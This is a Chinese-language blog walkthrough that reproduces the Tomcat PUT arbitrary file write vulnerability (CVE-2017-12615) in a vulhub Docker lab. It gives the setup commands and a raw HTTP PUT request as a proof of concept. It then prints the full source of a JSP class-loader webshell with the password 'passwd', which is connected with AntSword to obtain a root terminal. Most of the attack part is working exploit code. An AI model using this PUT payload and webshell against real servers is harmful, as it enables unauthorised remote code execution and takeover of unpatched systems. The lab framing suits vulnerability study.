Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

文章目录

    • [Tomcat 任意写文件PUT方法 (CVE-2017-12615)](#Tomcat 任意写文件PUT方法 (CVE-2017-12615))
      • [1 在线漏洞解读:](#1 在线漏洞解读:)
      • [2 版本影响](#2 版本影响)
      • [3 环境搭建](#3 环境搭建)
      • [4 漏洞复现](#4 漏洞复现)
        • [4.1 访问](#4.1 访问)
        • [4.2 POC攻击点](#4.2 POC攻击点)
          • [4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。](#4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。)
          • [4.2.2 访问是否通,可以访问到文件](#4.2.2 访问是否通,可以访问到文件)
      • [5 漏洞利用](#5 漏洞利用)
        • [5.1 上传jsp一句话](#5.1 上传jsp一句话)
        • [5.2 kali打开蚁剑:](#5.2 kali打开蚁剑:)
        • [5.3 连接jsp一句话木马,密码为 passwd](#5.3 连接jsp一句话木马,密码为 passwd)
        • [5.4 打开终端,获取root](#5.4 打开终端,获取root)

1 在线漏洞解读:

复制代码
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

shell 复制代码
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:

shell 复制代码
sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
复制代码
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用

5.1 上传jsp一句话
jsp 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
复制代码
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd
5.4 打开终端,获取root
相关推荐
游戏开发爱好者81 小时前
iOS App上线前的安全防线:项目后期如何用Ipa Guard与其他工具完成高效混淆部署
websocket·网络协议·tcp/ip·http·网络安全·https·udp
星哥说事2 小时前
开源综合性网络安全检测和运维工具-TscanClient
运维·web安全·开源
熙客3 小时前
网络安全:OWASP防护守则
安全·web安全
炎码工坊3 小时前
DevSecOps实践:用Terraform策略检查筑牢基础设施安全防线
网络安全·微服务·云原生·系统安全·安全架构
Tony11544 小时前
win11系统部署tomcat10教程
windows·tomcat
我只有一岁半4 小时前
Tomcat Jetty 和 UnderTow 的粗略对比
tomcat·jetty
hweiyu004 小时前
tomcat指定使用的jdk版本
java·开发语言·tomcat
领世达检测V133529092495 小时前
智能云打印机EN 18031申请认证流程
安全·web安全
GzlAndy5 小时前
Tomcat线程模型
java·tomcat
2501_915106327 小时前
无需 Mac,使用Appuploader简化iOS上架流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp